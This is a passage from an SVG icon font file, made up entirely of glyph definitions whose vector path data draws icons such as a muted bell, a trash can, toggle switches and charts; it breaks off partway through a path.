    <glyph glyph-name="_472" unicode="&#xf1f7;" horiz-adv-x="2048" 
d="M1040 -160q0 16 -16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5q16 0 16 16zM503 315l877 760q-42 88 -132.5 146.5t-223.5 58.5q-93 0 -169.5 -31.5t-121.5 -80.5t-69 -103t-24 -105q0 -384 -137 -645zM1856 128
q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-180.5 74.5t-75.5 180.5l149 129h757q-166 187 -227 459l111 97q61 -356 298 -556zM1942 1520l84 -96q8 -10 7.5 -23.5t-10.5 -22.5l-1872 -1622q-10 -8 -23.5 -7t-21.5 11l-84 96q-8 10 -7.5 23.5t10.5 21.5l186 161
q-19 32 -19 66q50 42 91 88t85 119.5t74.5 158.5t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q124 -18 219 -82.5t148 -157.5l418 363q10 8 23.5 7t21.5 -11z" />
    <glyph glyph-name="_473" unicode="&#xf1f8;" horiz-adv-x="1408" 
d="M512 160v704q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-704q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM768 160v704q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-704q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1024 160v704q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-704
q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM480 1152h448l-48 117q-7 9 -17 11h-317q-10 -2 -17 -11zM1408 1120v-64q0 -14 -9 -23t-23 -9h-96v-948q0 -83 -47 -143.5t-113 -60.5h-832q-66 0 -113 58.5t-47 141.5v952h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h309l70 167
q15 37 54 63t79 26h320q40 0 79 -26t54 -63l70 -167h309q14 0 23 -9t9 -23z" />
    <glyph glyph-name="_474" unicode="&#xf1f9;" 
d="M1150 462v-109q0 -50 -36.5 -89t-94 -60.5t-118 -32.5t-117.5 -11q-205 0 -342.5 139t-137.5 346q0 203 136 339t339 136q34 0 75.5 -4.5t93 -18t92.5 -34t69 -56.5t28 -81v-109q0 -16 -16 -16h-118q-16 0 -16 16v70q0 43 -65.5 67.5t-137.5 24.5q-140 0 -228.5 -91.5
t-88.5 -237.5q0 -151 91.5 -249.5t233.5 -98.5q68 0 138 24t70 66v70q0 7 4.5 11.5t10.5 4.5h119q6 0 11 -4.5t5 -11.5zM768 1280q-130 0 -248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5
t-51 248.5t-136.5 204t-204 136.5t-248.5 51zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_475" unicode="&#xf1fa;" 
d="M972 761q0 108 -53.5 169t-147.5 61q-63 0 -124 -30.5t-110 -84.5t-79.5 -137t-30.5 -180q0 -112 53.5 -173t150.5 -61q96 0 176 66.5t122.5 166t42.5 203.5zM1536 640q0 -111 -37 -197t-98.5 -135t-131.5 -74.5t-145 -27.5q-6 0 -15.5 -0.5t-16.5 -0.5q-95 0 -142 53
q-28 33 -33 83q-52 -66 -131.5 -110t-173.5 -44q-161 0 -249.5 95.5t-88.5 269.5q0 157 66 290t179 210.5t246 77.5q87 0 155 -35.5t106 -99.5l2 19l11 56q1 6 5.5 12t9.5 6h118q5 0 13 -11q5 -5 3 -16l-120 -614q-5 -24 -5 -48q0 -39 12.5 -52t44.5 -13q28 1 57 5.5t73 24
t77 50t57 89.5t24 137q0 292 -174 466t-466 174q-130 0 -248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51q228 0 405 144q11 9 24 8t21 -12l41 -49q8 -12 7 -24q-2 -13 -12 -22q-102 -83 -227.5 -128t-258.5 -45q-156 0 -298 61
t-245 164t-164 245t-61 298t61 298t164 245t245 164t298 61q344 0 556 -212t212 -556z" />
    <glyph glyph-name="_476" unicode="&#xf1fb;" horiz-adv-x="1792" 
d="M1698 1442q94 -94 94 -226.5t-94 -225.5l-225 -223l104 -104q10 -10 10 -23t-10 -23l-210 -210q-10 -10 -23 -10t-23 10l-105 105l-603 -603q-37 -37 -90 -37h-203l-256 -128l-64 64l128 256v203q0 53 37 90l603 603l-105 105q-10 10 -10 23t10 23l210 210q10 10 23 10
t23 -10l104 -104l223 225q93 94 225.5 94t226.5 -94zM512 64l576 576l-192 192l-576 -576v-192h192z" />
    <glyph glyph-name="f1fc" unicode="&#xf1fc;" horiz-adv-x="1792" 
d="M1615 1536q70 0 122.5 -46.5t52.5 -116.5q0 -63 -45 -151q-332 -629 -465 -752q-97 -91 -218 -91q-126 0 -216.5 92.5t-90.5 219.5q0 128 92 212l638 579q59 54 130 54zM706 502q39 -76 106.5 -130t150.5 -76l1 -71q4 -213 -129.5 -347t-348.5 -134q-123 0 -218 46.5
t-152.5 127.5t-86.5 183t-29 220q7 -5 41 -30t62 -44.5t59 -36.5t46 -17q41 0 55 37q25 66 57.5 112.5t69.5 76t88 47.5t103 25.5t125 10.5z" />
    <glyph glyph-name="_478" unicode="&#xf1fd;" horiz-adv-x="1792" 
d="M1792 128v-384h-1792v384q45 0 85 14t59 27.5t47 37.5q30 27 51.5 38t56.5 11q24 0 44 -7t31 -15t33 -27q29 -25 47 -38t58 -27t86 -14q45 0 85 14.5t58 27t48 37.5q21 19 32.5 27t31 15t43.5 7q35 0 56.5 -11t51.5 -38q28 -24 47 -37.5t59 -27.5t85 -14t85 14t59 27.5
t47 37.5q30 27 51.5 38t56.5 11q34 0 55.5 -11t51.5 -38q28 -24 47 -37.5t59 -27.5t85 -14zM1792 448v-192q-24 0 -44 7t-31 15t-33 27q-29 25 -47 38t-58 27t-85 14q-46 0 -86 -14t-58 -27t-47 -38q-22 -19 -33 -27t-31 -15t-44 -7q-35 0 -56.5 11t-51.5 38q-29 25 -47 38
t-58 27t-86 14q-45 0 -85 -14.5t-58 -27t-48 -37.5q-21 -19 -32.5 -27t-31 -15t-43.5 -7q-35 0 -56.5 11t-51.5 38q-28 24 -47 37.5t-59 27.5t-85 14q-46 0 -86 -14t-58 -27t-47 -38q-30 -27 -51.5 -38t-56.5 -11v192q0 80 56 136t136 56h64v448h256v-448h256v448h256v-448
h256v448h256v-448h64q80 0 136 -56t56 -136zM512 1312q0 -77 -36 -118.5t-92 -41.5q-53 0 -90.5 37.5t-37.5 90.5q0 29 9.5 51t23.5 34t31 28t31 31.5t23.5 44.5t9.5 67q38 0 83 -74t45 -150zM1024 1312q0 -77 -36 -118.5t-92 -41.5q-53 0 -90.5 37.5t-37.5 90.5
q0 29 9.5 51t23.5 34t31 28t31 31.5t23.5 44.5t9.5 67q38 0 83 -74t45 -150zM1536 1312q0 -77 -36 -118.5t-92 -41.5q-53 0 -90.5 37.5t-37.5 90.5q0 29 9.5 51t23.5 34t31 28t31 31.5t23.5 44.5t9.5 67q38 0 83 -74t45 -150z" />
    <glyph glyph-name="_479" unicode="&#xf1fe;" horiz-adv-x="2048" 
d="M2048 0v-128h-2048v1536h128v-1408h1920zM1664 1024l256 -896h-1664v576l448 576l576 -576z" />
    <glyph glyph-name="_480" unicode="&#xf200;" horiz-adv-x="1792" 
d="M768 646l546 -546q-106 -108 -247.5 -168t-298.5 -60q-209 0 -385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103v-762zM955 640h773q0 -157 -60 -298.5t-168 -247.5zM1664 768h-768v768q209 0 385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_481" unicode="&#xf201;" horiz-adv-x="2048" 
d="M2048 0v-128h-2048v1536h128v-1408h1920zM1920 1248v-435q0 -21 -19.5 -29.5t-35.5 7.5l-121 121l-633 -633q-10 -10 -23 -10t-23 10l-233 233l-416 -416l-192 192l585 585q10 10 23 10t23 -10l233 -233l464 464l-121 121q-16 16 -7.5 35.5t29.5 19.5h435q14 0 23 -9
t9 -23z" />
    <glyph glyph-name="_482" unicode="&#xf202;" horiz-adv-x="1792" 
d="M1292 832q0 -6 10 -41q10 -29 25 -49.5t41 -34t44 -20t55 -16.5q325 -91 325 -332q0 -146 -105.5 -242.5t-254.5 -96.5q-59 0 -111.5 18.5t-91.5 45.5t-77 74.5t-63 87.5t-53.5 103.5t-43.5 103t-39.5 106.5t-35.5 95q-32 81 -61.5 133.5t-73.5 96.5t-104 64t-142 20
q-96 0 -183 -55.5t-138 -144.5t-51 -185q0 -160 106.5 -279.5t263.5 -119.5q177 0 258 95q56 63 83 116l84 -152q-15 -34 -44 -70l1 -1q-131 -152 -388 -152q-147 0 -269.5 79t-190.5 207.5t-68 274.5q0 105 43.5 206t116 176.5t172 121.5t204.5 46q87 0 159 -19t123.5 -50
t95 -80t72.5 -99t58.5 -117t50.5 -124.5t50 -130.5t55 -127q96 -200 233 -200q81 0 138.5 48.5t57.5 128.5q0 42 -19 72t-50.5 46t-72.5 31.5t-84.5 27t-87.5 34t-81 52t-65 82t-39 122.5q-3 16 -3 33q0 110 87.5 192t198.5 78q78 -3 120.5 -14.5t90.5 -53.5h-1
q12 -11 23 -24.5t26 -36t19 -27.5l-129 -99q-26 49 -54 70v1q-23 21 -97 21q-49 0 -84 -33t-35 -83z" />
    <glyph glyph-name="_483" unicode="&#xf203;" 
d="M1432 484q0 173 -234 239q-35 10 -53 16.5t-38 25t-29 46.5q0 2 -2 8.5t-3 12t-1 7.5q0 36 24.5 59.5t60.5 23.5q54 0 71 -15h-1q20 -15 39 -51l93 71q-39 54 -49 64q-33 29 -67.5 39t-85.5 10q-80 0 -142 -57.5t-62 -137.5q0 -7 2 -23q16 -96 64.5 -140t148.5 -73
q29 -8 49 -15.5t45 -21.5t38.5 -34.5t13.5 -46.5v-5q1 -58 -40.5 -93t-100.5 -35q-97 0 -167 144q-23 47 -51.5 121.5t-48 125.5t-54 110.5t-74 95.5t-103.5 60.5t-147 24.5q-101 0 -192 -56t-144 -148t-50 -192v-1q4 -108 50.5 -199t133.5 -147.5t196 -56.5q186 0 279 110
q20 27 31 51l-60 109q-42 -80 -99 -116t-146 -36q-115 0 -191 87t-76 204q0 105 82 189t186 84q112 0 170 -53.5t104 -172.5q8 -21 25.5 -68.5t28.5 -76.5t31.5 -74.5t38.5 -74t45.5 -62.5t55.5 -53.5t66 -33t80 -13.5q107 0 183 69.5t76 174.5zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_484" unicode="&#xf204;" horiz-adv-x="2048" 
d="M1152 640q0 104 -40.5 198.5t-109.5 163.5t-163.5 109.5t-198.5 40.5t-198.5 -40.5t-163.5 -109.5t-109.5 -163.5t-40.5 -198.5t40.5 -198.5t109.5 -163.5t163.5 -109.5t198.5 -40.5t198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5zM1920 640q0 104 -40.5 198.5
t-109.5 163.5t-163.5 109.5t-198.5 40.5h-386q119 -90 188.5 -224t69.5 -288t-69.5 -288t-188.5 -224h386q104 0 198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5zM2048 640q0 -130 -51 -248.5t-136.5 -204t-204 -136.5t-248.5 -51h-768q-130 0 -248.5 51t-204 136.5
t-136.5 204t-51 248.5t51 248.5t136.5 204t204 136.5t248.5 51h768q130 0 248.5 -51t204 -136.5t136.5 -204t51 -248.5z" />
    <glyph glyph-name="_485" unicode="&#xf205;" horiz-adv-x="2048" 
d="M0 640q0 130 51 248.5t136.5 204t204 136.5t248.5 51h768q130 0 248.5 -51t204 -136.5t136.5 -204t51 -248.5t-51 -248.5t-136.5 -204t-204 -136.5t-248.5 -51h-768q-130 0 -248.5 51t-204 136.5t-136.5 204t-51 248.5zM1408 128q104 0 198.5 40.5t163.5 109.5
t109.5 163.5t40.5 198.5t-40.5 198.5t-109.5 163.5t-163.5 109.5t-198.5 40.5t-198.5 -40.5t-163.5 -109.5t-109.5 -163.5t-40.5 -198.5t40.5 -198.5t109.5 -163.5t163.5 -109.5t198.5 -40.5z" />
    <glyph glyph-name="_486" unicode="&#xf206;" horiz-adv-x="2304" 
d="M762 384h-314q-40 0 -57.5 35t6.5 67l188 251q-65 31 -137 31q-132 0 -226 -94t-94 -226t94 -226t226 -94q115 0 203 72.5t111 183.5zM576 512h186q-18 85 -75 148zM1056 512l288 384h-480l-99 -132q105 -103 126 -252h165zM2176 448q0 132 -94 226t-226 94
q-60 0 -121 -24l174 -260q15 -23 10 -49t-27 -40q-15 -11 -36 -11q-35 0 -53 29l-174 260q-93 -95 -93 -225q0 -132 94 -226t226 -94t226 94t94 226zM2304 448q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 97 39.5 183.5t109.5 149.5l-65 98l-353 -469
q-18 -26 -51 -26h-197q-23 -164 -149 -274t-294 -110q-185 0 -316.5 131.5t-131.5 316.5t131.5 316.5t316.5 131.5q114 0 215 -55l137 183h-224q-26 0 -45 19t-19 45t19 45t45 19h384v-128h435l-85 128h-222q-26 0 -45 19t-19 45t19 45t45 19h256q33 0 53 -28l267 -400
q91 44 192 44q185 0 316.5 -131.5t131.5 -316.5z" />
    <glyph glyph-name="_487" unicode="&#xf207;" 
d="M384 320q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1408 320q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1362 716l-72 384q-5 23 -22.5 37.5t-40.5 14.5
h-918q-23 0 -40.5 -14.5t-22.5 -37.5l-72 -384q-5 -30 14 -53t49 -23h1062q30 0 49 23t14 53zM1136 1328q0 20 -14 34t-34 14h-640q-20 0 -34 -14t-14 -34t14 -34t34 -14h640q20 0 34 14t14 34zM1536 603v-603h-128v-128q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5
t-37.5 90.5v128h-768v-128q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5v128h-128v603q0 112 25 223l103 454q9 78 97.5 137t230 89t312.5 30t312.5 -30t230 -89t97.5 -137l105 -454q23 -102 23 -223z" />
    <glyph glyph-name="_488" unicode="&#xf208;" horiz-adv-x="2048" 
d="M1463 704q0 -35 -25 -60.5t-61 -25.5h-702q-36 0 -61 25.5t-25 60.5t25 60.5t61 25.5h702q36 0 61 -25.5t25 -60.5zM1677 704q0 86 -23 170h-982q-36 0 -61 25t-25 60q0 36 25 61t61 25h908q-88 143 -235 227t-320 84q-177 0 -327.5 -87.5t-238 -237.5t-87.5 -327
q0 -86 23 -170h982q36 0 61 -25t25 -60q0 -36 -25 -61t-61 -25h-908q88 -143 235.5 -227t320.5 -84q132 0 253 51.5t208 139t139 208t52 253.5zM2048 959q0 -35 -25 -60t-61 -25h-131q17 -85 17 -170q0 -167 -65.5 -319.5t-175.5 -263t-262.5 -176t-319.5 -65.5
q-246 0 -448.5 133t-301.5 350h-189q-36 0 -61 25t-25 61q0 35 25 60t61 25h132q-17 85 -17 170q0 167 65.5 319.5t175.5 263t262.5 176t320.5 65.5q245 0 447.5 -133t301.5 -350h188q36 0 61 -25t25 -61z" />
    <glyph glyph-name="_489" unicode="&#xf209;" horiz-adv-x="1280" 
d="M953 1158l-114 -328l117 -21q165 451 165 518q0 56 -38 56q-57 0 -130 -225zM654 471l33 -88q37 42 71 67l-33 5.5t-38.5 7t-32.5 8.5zM362 1367q0 -98 159 -521q17 10 49 10q15 0 75 -5l-121 351q-75 220 -123 220q-19 0 -29 -17.5t-10 -37.5zM283 608q0 -36 51.5 -119
t117.5 -153t100 -70q14 0 25.5 13t11.5 27q0 24 -32 102q-13 32 -32 72t-47.5 89t-61.5 81t-62 32q-20 0 -45.5 -27t-25.5 -47zM125 273q0 -41 25 -104q59 -145 183.5 -227t281.5 -82q227 0 382 170q152 169 152 427q0 43 -1 67t-11.5 62t-30.5 56q-56 49 -211.5 75.5
t-270.5 26.5q-37 0 -49 -11q-12 -5 -12 -35q0 -34 21.5 -60t55.5 -40t77.5 -23.5t87.5 -11.5t85 -4t70 0h23q24 0 40 -19q15 -19 19 -55q-28 -28 -96 -54q-61 -22 -93 -46q-64 -46 -108.5 -114t-44.5 -137q0 -31 18.5 -88.5t18.5 -87.5l-3 -12q-4 -12 -4 -14
q-137 10 -146 216q-8 -2 -41 -2q2 -7 2 -21q0 -53 -40.5 -89.5t-94.5 -36.5q-82 0 -166.5 78t-84.5 159q0 34 33 67q52 -64 60 -76q77 -104 133 -104q12 0 26.5 8.5t14.5 20.5q0 34 -87.5 145t-116.5 111q-43 0 -70 -44.5t-27 -90.5zM11 264q0 101 42.5 163t136.5 88
q-28 74 -28 104q0 62 61 123t122 61q29 0 70 -15q-163 462 -163 567q0 80 41 130.5t119 50.5q131 0 325 -581q6 -17 8 -23q6 16 29 79.5t43.5 118.5t54 127.5t64.5 123t70.5 86.5t76.5 36q71 0 112 -49t41 -122q0 -108 -159 -550q61 -15 100.5 -46t58.5 -78t26 -93.5
t7 -110.5q0 -150 -47 -280t-132 -225t-211 -150t-278 -55q-111 0 -223 42q-149 57 -258 191.5t-109 286.5z" />
    <glyph glyph-name="_490" unicode="&#xf20a;" horiz-adv-x="2048" 
d="M785 528h207q-14 -158 -98.5 -248.5t-214.5 -90.5q-162 0 -254.5 116t-92.5 316q0 194 93 311.5t233 117.5q148 0 232 -87t97 -247h-203q-5 64 -35.5 99t-81.5 35q-57 0 -88.5 -60.5t-31.5 -177.5q0 -48 5 -84t18 -69.5t40 -51.5t66 -18q95 0 109 139zM1497 528h206
q-14 -158 -98 -248.5t-214 -90.5q-162 0 -254.5 116t-92.5 316q0 194 93 311.5t233 117.5q148 0 232 -87t97 -247h-204q-4 64 -35 99t-81 35q-57 0 -88.5 -60.5t-31.5 -177.5q0 -48 5 -84t18 -69.5t39.5 -51.5t65.5 -18q49 0 76.5 38t33.5 101zM1856 647q0 207 -15.5 307
t-60.5 161q-6 8 -13.5 14t-21.5 15t-16 11q-86 63 -697 63q-625 0 -710 -63q-5 -4 -17.5 -11.5t-21 -14t-14.5 -14.5q-45 -60 -60 -159.5t-15 -308.5q0 -208 15 -307.5t60 -160.5q6 -8 15 -15t20.5 -14t17.5 -12q44 -33 239.5 -49t470.5 -16q610 0 697 65q5 4 17 11t20.5 14
t13.5 16q46 60 61 159t15 309zM2048 1408v-1536h-2048v1536h2048z" />
    <glyph glyph-name="_491" unicode="&#xf20b;" 
d="M992 912v-496q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v496q0 112 -80 192t-192 80h-272v-1152q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v1344q0 14 9 23t23 9h464q135 0 249 -66.5t180.5 -180.5t66.5 -249zM1376 1376v-880q0 -135 -66.5 -249t-180.5 -180.5
t-249 -66.5h-464q-14 0 -23 9t-9 23v960q0 14 9 23t23 9h160q14 0 23 -9t9 -23v-768h272q112 0 192 80t80 192v880q0 14 9 23t23 9h160q14 0 23 -9t9 -23z" />
    <glyph glyph-name="_492" unicode="&#xf20c;" 
d="M1311 694v-114q0 -24 -13.5 -38t-37.5 -14h-202q-24 0 -38 14t-14 38v114q0 24 14 38t38 14h202q24 0 37.5 -14t13.5 -38zM821 464v250q0 53 -32.5 85.5t-85.5 32.5h-133q-68 0 -96 -52q-28 52 -96 52h-130q-53 0 -85.5 -32.5t-32.5 -85.5v-250q0 -22 21 -22h55
q22 0 22 22v230q0 24 13.5 38t38.5 14h94q24 0 38 -14t14 -38v-230q0 -22 21 -22h54q22 0 22 22v230q0 24 14 38t38 14h97q24 0 37.5 -14t13.5 -38v-230q0 -22 22 -22h55q21 0 21 22zM1410 560v154q0 53 -33 85.5t-86 32.5h-264q-53 0 -86 -32.5t-33 -85.5v-410
q0 -21 22 -21h55q21 0 21 21v180q31 -42 94 -42h191q53 0 86 32.5t33 85.5zM1536 1176v-1072q0 -96 -68 -164t-164 -68h-1072q-96 0 -164 68t-68 164v1072q0 96 68 164t164 68h1072q96 0 164 -68t68 -164z" />
    <glyph glyph-name="_493" unicode="&#xf20d;" 
d="M915 450h-294l147 551zM1001 128h311l-324 1024h-440l-324 -1024h311l383 314zM1536 1120v-960q0 -118 -85 -203t-203 -85h-960q-118 0 -203 85t-85 203v960q0 118 85 203t203 85h960q118 0 203 -85t85 -203z" />
    <glyph glyph-name="_494" unicode="&#xf20e;" horiz-adv-x="2048" 
d="M2048 641q0 -21 -13 -36.5t-33 -19.5l-205 -356q3 -9 3 -18q0 -20 -12.5 -35.5t-32.5 -19.5l-193 -337q3 -8 3 -16q0 -23 -16.5 -40t-40.5 -17q-25 0 -41 18h-400q-17 -20 -43 -20t-43 20h-399q-17 -20 -43 -20q-23 0 -40 16.5t-17 40.5q0 8 4 20l-193 335
q-20 4 -32.5 19.5t-12.5 35.5q0 9 3 18l-206 356q-20 5 -32.5 20.5t-12.5 35.5q0 21 13.5 36.5t33.5 19.5l199 344q0 1 -0.5 3t-0.5 3q0 36 34 51l209 363q-4 10 -4 18q0 24 17 40.5t40 16.5q26 0 44 -21h396q16 21 43 21t43 -21h398q18 21 44 21q23 0 40 -16.5t17 -40.5
q0 -6 -4 -18l207 -358q23 -1 39 -17.5t16 -38.5q0 -13 -7 -27l187 -324q19 -4 31.5 -19.5t12.5 -35.5zM1063 -158h389l-342 354h-143l-342 -354h360q18 16 39 16t39 -16zM112 654q1 -4 1 -13q0 -10 -2 -15l208 -360l15 -6l188 199v347l-187 194q-13 -8 -29 -10zM986 1438
h-388l190 -200l554 200h-280q-16 -16 -38 -16t-38 16zM1689 226q1 6 5 11l-64 68l-17 -79h76zM1583 226l22 105l-252 266l-296 -307l63 -64h463zM1495 -142l16 28l65 310h-427l333 -343q8 4 13 5zM578 -158h5l342 354h-373v-335l4 -6q14 -5 22 -13zM552 226h402l64 66
l-309 321l-157 -166v-221zM359 226h163v189l-168 -177q4 -8 5 -12zM358 1051q0 -1 0.5 -2t0.5 -2q0 -16 -8 -29l171 -177v269zM552 1121v-311l153 -157l297 314l-223 236zM556 1425l-4 -8v-264l205 74l-191 201q-6 -2 -10 -3zM1447 1438h-16l-621 -224l213 -225zM1023 946
l-297 -315l311 -319l296 307zM688 634l-136 141v-284zM1038 270l-42 -44h85zM1374 618l238 -251l132 624l-3 5l-1 1zM1718 1018q-8 13 -8 29v2l-216 376q-5 1 -13 5l-437 -463l310 -327zM522 1142v223l-163 -282zM522 196h-163l163 -283v283zM1607 196l-48 -227l130 227h-82
zM1729 266l207 361q-2 10 -2 14q0 1 3 16l-171 296l-129 -612l77 -82q5 3 15 7z" />
    <glyph glyph-name="f210" unicode="&#xf210;" 
d="M0 856q0 131 91.5 226.5t222.5 95.5h742l352 358v-1470q0 -132 -91.5 -227t-222.5 -95h-780q-131 0 -222.5 95t-91.5 227v790zM1232 102l-176 180v425q0 46 -32 79t-78 33h-484q-46 0 -78 -33t-32 -79v-492q0 -46 32.5 -79.5t77.5 -33.5h770z" />
    <glyph glyph-name="_496" unicode="&#xf211;" 
d="M934 1386q-317 -121 -556 -362.5t-358 -560.5q-20 89 -20 176q0 208 102.5 384.5t278.5 279t384 102.5q82 0 169 -19zM1203 1267q93 -65 164 -155q-389 -113 -674.5 -400.5t-396.5 -676.5q-93 72 -155 162q112 386 395 671t667 399zM470 -67q115 356 379.5 622t619.5 384
q40 -92 54 -195q-292 -120 -516 -345t-343 -518q-103 14 -194 52zM1536 -125q-193 50 -367 115q-135 -84 -290 -107q109 205 274 370.5t369 275.5q-21 -152 -101 -284q65 -175 115 -370z" />
    <glyph glyph-name="f212" unicode="&#xf212;" horiz-adv-x="2048" 
d="M1893 1144l155 -1272q-131 0 -257 57q-200 91 -393 91q-226 0 -374 -148q-148 148 -374 148q-193 0 -393 -91q-128 -57 -252 -57h-5l155 1272q224 127 482 127q233 0 387 -106q154 106 387 106q258 0 482 -127zM1398 157q129 0 232 -28.5t260 -93.5l-124 1021
q-171 78 -368 78q-224 0 -374 -141q-150 141 -374 141q-197 0 -368 -78l-124 -1021q105 43 165.5 65t148.5 39.5t178 17.5q202 0 374 -108q172 108 374 108zM1438 191l-55 907q-211 -4 -359 -155q-152 155 -374 155q-176 0 -336 -66l-114 -941q124 51 228.5 76t221.5 25
q209 0 374 -102q172 107 374 102z" />
    <glyph glyph-name="_498" unicode="&#xf213;" horiz-adv-x="2048" 
d="M1500 165v733q0 21 -15 36t-35 15h-93q-20 0 -35 -15t-15 -36v-733q0 -20 15 -35t35 -15h93q20 0 35 15t15 35zM1216 165v531q0 20 -15 35t-35 15h-101q-20 0 -35 -15t-15 -35v-531q0 -20 15 -35t35 -15h101q20 0 35 15t15 35zM924 165v429q0 20 -15 35t-35 15h-101
q-20 0 -35 -15t-15 -35v-429q0 -20 15 -35t35 -15h101q20 0 35 15t15 35zM632 165v362q0 20 -15 35t-35 15h-101q-20 0 -35 -15t-15 -35v-362q0 -20 15 -35t35 -15h101q20 0 35 15t15 35zM2048 311q0 -166 -118 -284t-284 -118h-1244q-166 0 -284 118t-118 284
q0 116 63 214.5t168 148.5q-10 34 -10 73q0 113 80.5 193.5t193.5 80.5q102 0 180 -67q45 183 194 300t338 117q149 0 275 -73.5t199.5 -199.5t73.5 -275q0 -66 -14 -122q135 -33 221 -142.5t86 -247.5z" />
    <glyph glyph-name="_499" unicode="&#xf214;" 
d="M0 1536h1536v-1392l-776 -338l-760 338v1392zM1436 209v926h-1336v-926l661 -294zM1436 1235v201h-1336v-201h1336zM181 937v-115h-37v115h37zM181 789v-115h-37v115h37zM181 641v-115h-37v115h37zM181 493v-115h-37v115h37zM181 345v-115h-37v115h37zM207 202l15 34
l105 -47l-15 -33zM343 142l15 34l105 -46l-15 -34zM478 82l15 34l105 -46l-15 -34zM614 23l15 33l104 -46l-15 -34zM797 10l105 46l15 -33l-105 -47zM932 70l105 46l15 -34l-105 -46zM1068 130l105 46l15 -34l-105 -46zM1203 189l105 47l15 -34l-105 -46zM259 1389v-36h-114
v36h114zM421 1389v-36h-115v36h115zM583 1389v-36h-115v36h115zM744 1389v-36h-114v36h114zM906 1389v-36h-114v36h114zM1068 1389v-36h-115v36h115zM1230 1389v-36h-115v36h115zM1391 1389v-36h-114v36h114zM181 1049v-79h-37v115h115v-36h-78zM421 1085v-36h-115v36h115z
M583 1085v-36h-115v36h115zM744 1085v-36h-114v36h114zM906 1085v-36h-114v36h114zM1068 1085v-36h-115v36h115zM1230 1085v-36h-115v36h115zM1355 970v79h-78v36h115v-115h-37zM1355 822v115h37v-115h-37zM1355 674v115h37v-115h-37zM1355 526v115h37v-115h-37zM1355 378
v115h37v-115h-37zM1355 230v115h37v-115h-37zM760 265q-129 0 -221 91.5t-92 221.5q0 129 92 221t221 92q130 0 221.5 -92t91.5 -221q0 -130 -91.5 -221.5t-221.5 -91.5zM595 646q0 -36 19.5 -56.5t49.5 -25t64 -7t64 -2t49.5 -9t19.5 -30.5q0 -49 -112 -49q-97 0 -123 51
h-3l-31 -63q67 -42 162 -42q29 0 56.5 5t55.5 16t45.5 33t17.5 53q0 46 -27.5 69.5t-67.5 27t-79.5 3t-67 5t-27.5 25.5q0 21 20.5 33t40.5 15t41 3q34 0 70.5 -11t51.5 -34h3l30 58q-3 1 -21 8.5t-22.5 9t-19.5 7t-22 7t-20 4.5t-24 4t-23 1q-29 0 -56.5 -5t-54 -16.5
t-43 -34t-16.5 -53.5z" />
    <glyph glyph-name="_500" unicode="&#xf215;" horiz-adv-x="2048" 
d="M863 504q0 112 -79.5 191.5t-191.5 79.5t-191 -79.5t-79 -191.5t79 -191t191 -79t191.5 79t79.5 191zM1726 505q0 112 -79 191t-191 79t-191.5 -79t-79.5 -191q0 -113 79.5 -192t191.5 -79t191 79.5t79 191.5zM2048 1314v-1348q0 -44 -31.5 -75.5t-76.5 -31.5h-1832
q-45 0 -76.5 31.5t-31.5 75.5v1348q0 44 31.5 75.5t76.5 31.5h431q44 0 76 -31.5t32 -75.5v-161h754v161q0 44 32 75.5t76 31.5h431q45 0 76.5 -31.5t31.5 -75.5z" />
    <glyph glyph-name="_501" unicode="&#xf216;" horiz-adv-x="2048" 
d="M1430 953zM1690 749q148 0 253 -98.5t105 -244.5q0 -157 -109 -261.5t-267 -104.5q-85 0 -162 27.5t-138 73.5t-118 106t-109 126t-103.5 132.5t-108.5 126.5t-117 106t-136 73.5t-159 27.5q-154 0 -251.5 -91.5t-97.5 -244.5q0 -157 104 -250t263 -93q100 0 208 37.5
t193 98.5q5 4 21 18.5t30 24t22 9.5q14 0 24.5 -10.5t10.5 -24.5q0 -24 -60 -77q-101 -88 -234.5 -142t-260.5 -54q-133 0 -245.5 58t-180 165t-67.5 241q0 205 141.5 341t347.5 136q120 0 226.5 -43.5t185.5 -113t151.5 -153t139 -167.5t133.5 -153.5t149.5 -113
